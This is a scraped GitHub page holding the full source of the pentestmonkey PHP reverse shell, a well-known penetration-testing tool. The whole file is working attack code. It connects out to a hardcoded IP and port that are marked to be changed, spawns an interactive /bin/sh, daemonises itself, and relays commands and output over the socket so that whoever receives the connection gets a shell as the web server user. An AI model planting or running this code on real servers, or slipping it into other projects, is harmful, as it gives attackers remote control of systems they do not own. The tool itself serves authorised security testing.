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php-reverse-shell/php-reverse-shell.php at master · simplehang/php-reverse-shell · GitHub
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<?php
// php-reverse-shell - A Reverse Shell implementation in PHP
// Copyright (C) 2007 pentestmonkey@pentestmonkey.net
//
// This tool may be used for legal purposes only. Users take full responsibility
// for any actions performed using this tool. The author accepts no liability
// for damage caused by this tool. If these terms are not acceptable to you, then
// do not use this tool.
//
// In all other respects the GPL version 2 applies:
//
// This program is free software; you can redistribute it and/or modify
// it under the terms of the GNU General Public License version 2 as
// published by the Free Software Foundation.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License along
// with this program; if not, write to the Free Software Foundation, Inc.,
// 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
//
// This tool may be used for legal purposes only. Users take full responsibility
// for any actions performed using this tool. If these terms are not acceptable to
// you, then do not use this tool.
//
// You are encouraged to send comments, improvements or suggestions to
// me at pentestmonkey@pentestmonkey.net
//
// Description
// -----------
// This script will make an outbound TCP connection to a hardcoded IP and port.
// The recipient will be given a shell running as the current user (apache normally).
//
// Limitations
// -----------
// proc_open and stream_set_blocking require PHP version 4.3+, or 5+
// Use of stream_select() on file descriptors returned by proc_open() will fail and return FALSE under Windows.
// Some compile-time options are needed for daemonisation (like pcntl, posix). These are rarely available.
//
// Usage
// -----
// See http://pentestmonkey.net/tools/php-reverse-shell if you get stuck.
set_time_limit
(
0
);
$
VERSION
=
"
1.0
"
;
$
ip
=
'
127.0.0.1
'
;
// CHANGE THIS
$
port
=
1234
;
// CHANGE THIS
$
chunk_size
=
1400
;
$
write_a
=
null
;
$
error_a
=
null
;
$
shell
=
'
uname -a; w; id; /bin/sh -i
'
;
$
daemon
=
0
;
$
debug
=
0
;
//
// Daemonise ourself if possible to avoid zombies later
//
// pcntl_fork is hardly ever available, but will allow us to daemonise
// our php process and avoid zombies. Worth a try...
if
(
function_exists
(
'
pcntl_fork
'
)) {
// Fork and have the parent process exit
$
pid
=
pcntl_fork
();
if
(
$
pid
== -
1
) {
printit
(
"
ERROR: Can't fork
"
);
exit
(
1
);
}
if
(
$
pid
) {
exit
(
0
);
// Parent exits
}
// Make the current process a session leader
// Will only succeed if we forked
if
(
posix_setsid
() == -
1
) {
printit
(
"
Error: Can't setsid()
"
);
exit
(
1
);
}
$
daemon
=
1
;
}
else
{
printit
(
"
WARNING: Failed to daemonise. This is quite common and not fatal.
"
);
}
// Change to a safe directory
chdir
(
"
/
"
);
// Remove any umask we inherited
umask
(
0
);
//
// Do the reverse shell...
//
// Open reverse connection
$
sock
=
fsockopen
(
$
ip
,
$
port
,
$
errno
,
$
errstr
,
30
);
if
(!
$
sock
) {
printit
(
"
$
errstr
(
$
errno
)
"
);
exit
(
1
);
}
// Spawn shell process
$
descriptorspec
=
array
(
0
=>
array
(
"
pipe
"
,
"
r
"
),
// stdin is a pipe that the child will read from
1
=>
array
(
"
pipe
"
,
"
w
"
),
// stdout is a pipe that the child will write to
2
=>
array
(
"
pipe
"
,
"
w
"
)
// stderr is a pipe that the child will write to
);
$
process
=
proc_open
(
$
shell
,
$
descriptorspec
,
$
pipes
);
if
(!
is_resource
(
$
process
)) {
printit
(
"
ERROR: Can't spawn shell
"
);
exit
(
1
);
}
// Set everything to non-blocking
// Reason: Occsionally reads will block, even though stream_select tells us they won't
stream_set_blocking
(
$
pipes
[
0
],
0
);
stream_set_blocking
(
$
pipes
[
1
],
0
);
stream_set_blocking
(
$
pipes
[
2
],
0
);
stream_set_blocking
(
$
sock
,
0
);
printit
(
"
Successfully opened reverse shell to
$
ip
:
$
port
"
);
while
(
1
) {
// Check for end of TCP connection
if
(
feof
(
$
sock
)) {
printit
(
"
ERROR: Shell connection terminated
"
);
break
;
}
// Check for end of STDOUT
if
(
feof
(
$
pipes
[
1
])) {
printit
(
"
ERROR: Shell process terminated
"
);
break
;
}
// Wait until a command is end down $sock, or some
// command output is available on STDOUT or STDERR
$
read_a
=
array
(
$
sock
,
$
pipes
[
1
],
$
pipes
[
2
]);
$
num_changed_sockets
=
stream_select
(
$
read_a
,
$
write_a
,
$
error_a
,
null
);
// If we can read from the TCP socket, send
// data to process's STDIN
if
(
in_array
(
$
sock
,
$
read_a
)) {
if
(
$
debug
)
printit
(
"
SOCK READ
"
);
$
input
=
fread
(
$
sock
,
$
chunk_size
);
if
(
$
debug
)
printit
(
"
SOCK:
$
input
"
);
fwrite
(
$
pipes
[
0
],
$
input
);
}
// If we can read from the process's STDOUT
// send data down tcp connection
if
(
in_array
(
$
pipes
[
1
],
$
read_a
)) {
if
(
$
debug
)
printit
(
"
STDOUT READ
"
);
$
input
=
fread
(
$
pipes
[
1
],
$
chunk_size
);
if
(
$
debug
)
printit
(
"
STDOUT:
$
input
"
);
fwrite
(
$
sock
,
$
input
);
}
// If we can read from the process's STDERR
// send data down tcp connection
if
(
in_array
(
$
pipes
[
2
],
$
read_a
)) {
if
(
$
debug
)
printit
(
"
STDERR READ
"
);
$
input
=
fread
(
$
pipes
[
2
],
$
chunk_size
);
if
(
$
debug
)
printit
(
"
STDERR:
$
input
"
);
fwrite
(
$
sock
,
$
input
);
}
}
fclose
(
$
sock
);
fclose
(
$
pipes
[
0
]);
fclose
(
$
pipes
[
1
]);
fclose
(
$
pipes
[
2
]);
proc_close
(
$
process
);
// Like print, but does nothing if we've daemonised ourself
// (I can't figure out how to redirect STDOUT like a proper daemon)
function
printit
(
$
string
) {
if
(!
$
daemon
) {
print
"
$
string
\n"
;
}
}
?>
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